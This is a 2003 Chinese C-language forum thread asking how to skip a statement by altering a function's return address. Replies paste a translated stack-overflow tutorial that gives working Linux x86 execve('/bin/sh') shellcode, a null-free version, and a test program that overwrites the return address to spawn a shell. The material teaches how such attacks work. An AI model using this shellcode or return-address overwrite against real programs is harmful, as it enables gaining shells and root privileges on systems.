社区
C语言
帖子详情
谁懂缓冲区溢出技术
xliu2019
2003-06-21 08:55:49
有这样的代码:
void main()
{
int i=10;
fun();
i=100;
printf("%d",i);
}
如何构造函数fun,使main函数跳过 "i=100";直接执行printf?
...全文
24
9
打赏
收藏
谁懂缓冲区溢出技术
有这样的代码: void main() { int i=10; fun(); i=100; printf("%d",i); } 如何构造函数fun,使main函数跳过 "i=100";直接执行printf?
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
9 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
huigll
2003-06-22
打赏
举报
回复
二:实现一个shellcode
好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name数组
。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是
动态加载,字符串和name数组的地址都不是固定的。
通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会作
//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的
返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就获得了
字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字节,构造
name数组(两个整数,八个字节)。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
编译后,用gdb的b/bx 〔地址〕 命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)
test.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有pushl ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址ret
设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,从
而我们得到了一个shell。
运行结果,得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为一段
代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的
代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码段。
这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关键在
于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此,
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符
出现的。
因此,有些指令需要修改一下:
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode为:
----------------------------------------------------------------------------
char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh"; /* .string \"/bin/sh\" */
----------------------------------------------------------------------------
huigll
2003-06-22
打赏
举报
回复
下一讲将叙述如何书写一个shell code。
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(2)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:28 2000), 转信
堆栈溢出系列讲座
如何书写一个shell code
一:shellcode基本算法分析
在程序中,执行一个shell的程序是这样写的:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序
的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。
我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb,eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL,用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
经过以上的分析,可以得到如下的精简指令算法:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。可是,
如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的
指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单:
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用
那么总结一下,合成的汇编代码为:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)
huigll
2003-06-22
打赏
举报
回复
武汉白云黄鹤站∶精华区
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(1)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:02 2000), 转信
本文以及以下同系列各文为ipxodi根据alphe one, Taeho Oh 的英文资料所译及整理,
你可以任意复制和分发。
序言:
通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是一个
黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。
他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得rootshell
的技术,已经被很多实例实现。
在windows系统中,同样存在着堆栈溢出的问题。而且,随着internet的普及,win系列
平台上的internet服务程序越来越多,低水平的win程序就成为你系统上的致命伤 。因为
它们同样会被远程堆栈溢出,而且,由于win系统使用者和管理者普遍缺乏安全防范的意
识,一台win系统上的堆栈溢出,如果被恶意利用,将导致整个机器被敌人所控制。进而,
可能导致整个局域网落入敌人之手。
本系列讲座将系统的介绍堆栈溢出的机制,原理,应用,以及防范的措施。希望通过我
的讲座,大家可以了解和掌握这项技术。而且,会自己去寻找堆栈溢出漏洞,以提高系
统安全。
堆栈溢出系列讲座
入门篇
本讲的预备知识:
首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。
你必须有堆栈和存储分配方面的基础知识,有关这方面的计算机书籍很多,我
将只是简单阐述原理,着重在应用。
其次,你应该了解linux,本讲中我们的例子将在linux上开发。
1:首先复习一下基础知识。
从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。
静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量
则分配在堆栈里面。
从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。
我们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,
出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。
在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,
接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将
被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出
返回地址到EIP以继续执行程序。
在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:
先压c,再压b,最后压a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后
取c。
(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍
都会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)
2:好了,继续,让我们来看一看什么是堆栈溢出。
2.1:运行时的堆栈分配
堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致
数据越界。结果覆盖了老的堆栈数据。
比如有下面一段程序:
程序一:
#include <stdio.h>
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}
编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作
的呢?
在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。
我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句
:
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的
局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈
的布局如下:
内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
堆栈顶部 堆栈底部
执行完gets(name)之后,堆栈如下:
内存底部 内存顶部
name EBP ret
<------ [ipxodi\0 ][ ][ ]
^&name
堆栈顶部 堆栈底部
最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。
2.2:堆栈溢出
好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完gets(name)
之后,堆栈如下:
内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
堆栈顶部 堆栈底部
由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写‘A’。
由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的老的元素。如图我们可以
发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把‘AAAA’的ASCII码:
0x41414141作为返回地址,CPU会试图执行0x41414141处的指令,结果出现错误。这就是
一次堆栈溢出。
3:如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界
, 覆盖堆栈中的老元素的值,就可以修改返回地址。
在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。
事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。如果
我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。
在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢 出
的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。
huigll
2003-06-22
打赏
举报
回复
太长了
我怕是贴不完的。
还是直接去“武汉白云黄鹤站”
去查吧
小笨和漂向北方
2003-06-22
打赏
举报
回复
up,你可以继续了:)
idontlikenickname
2003-06-21
打赏
举报
回复
应该是在fun()函数中修改fun()压入栈中的返回地址,是其跳过i=100这句,具体修改值要依据你使用的编译器而定,16位和32位的是不同的~~
mahu213
2003-06-21
打赏
举报
回复
砌入汇编语言,修改ip的值来跳过!
^_^
xliu2019
2003-06-21
打赏
举报
回复
具体点
原理我也知道
boyfling
2003-06-21
打赏
举报
回复
修改堆栈里面保存的ip寄存器保存的值
有趣的二进制_软件安全与逆向分析
《有趣的二进制:软件安全与逆向分析》通过逆向工程,揭开人们熟知的软件背后的机器语言的秘密,并教给读者读
懂
这些二进制代码的方法。理解了这些方法,
技术
人员就能有效地Debug,防止软件受到恶意攻击和反编译。本书涵盖的
技术
包括:汇编与反汇编、调试与反调试、
缓冲区溢出
攻击与底层安全、钩子与注入、Metasploit 等安全工具。 《有趣的二进制:软件安全与逆向分析》适合对计算机原理、底层或计算机安全感兴趣的读者阅读。
有趣的二进制
《有趣的二进制:软件安全与逆向分析》通过逆向工程,揭开人们熟知的软件背后的机器语言的秘密,并教给读者读
懂
这些二进制代码的方法。理解了这些方法,
技术
人员就能有效地Debug,防止软件受到恶意攻击和反编译。本书涵盖的
技术
包括:汇编与反汇编、调试与反调试、
缓冲区溢出
攻击与底层安全、钩子与注入、Metasploit 等安全工具。 《有趣的二进制:软件安全与逆向分析》适合对计算机原理、底层或计算机安全感兴趣的读者阅读。
有趣的二进制:软件安全与逆向分析
通过逆向工程,揭开人们熟知的软件背后的机器语言的秘密,并教给读者读
懂
这些二进制代码的方法。理解了这些方法,
技术
人员就能有效地Debug,防止软件受到恶意攻击和反编译。本书涵盖的
技术
包括:汇编与反汇编、调试与反调试、
缓冲区溢出
攻击与底层安全、钩子与注入、Metasploit 等安全工具。
CSAPP
缓冲区溢出
攻击实验
实验内容本实验设计为一个黑客利用
缓冲区溢出
技术
进行攻击的游戏。实验仅提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容要求通过查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过
缓冲区溢出
办法在执行了getbuf()函数返回时攻击,使之返回到各关卡要求的指定函...
看程序体验
缓冲区溢出
漏洞
看程序体验
缓冲区溢出
漏洞
缓冲区溢出
漏洞从计算机出现初期就已经存在,并且今天仍然存在。大多数Internet蠕虫程序使用
缓冲区溢出
漏洞来传播,甚至Internet Explorer中的O-day漏洞,2004年的Sasser是一个利用微软操作系统的Lsass
缓冲区溢出
漏洞就是由于
缓冲区溢出
造成的。
缓冲区溢出
通常是向数组中写数据时,写入的数据的长度超出了数组原始定义的大小。C
C语言
69,381
社区成员
243,073
社区内容
发帖
与我相关
我的任务
C语言
C语言相关问题讨论
复制链接
扫一扫
分享
社区描述
C语言相关问题讨论
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章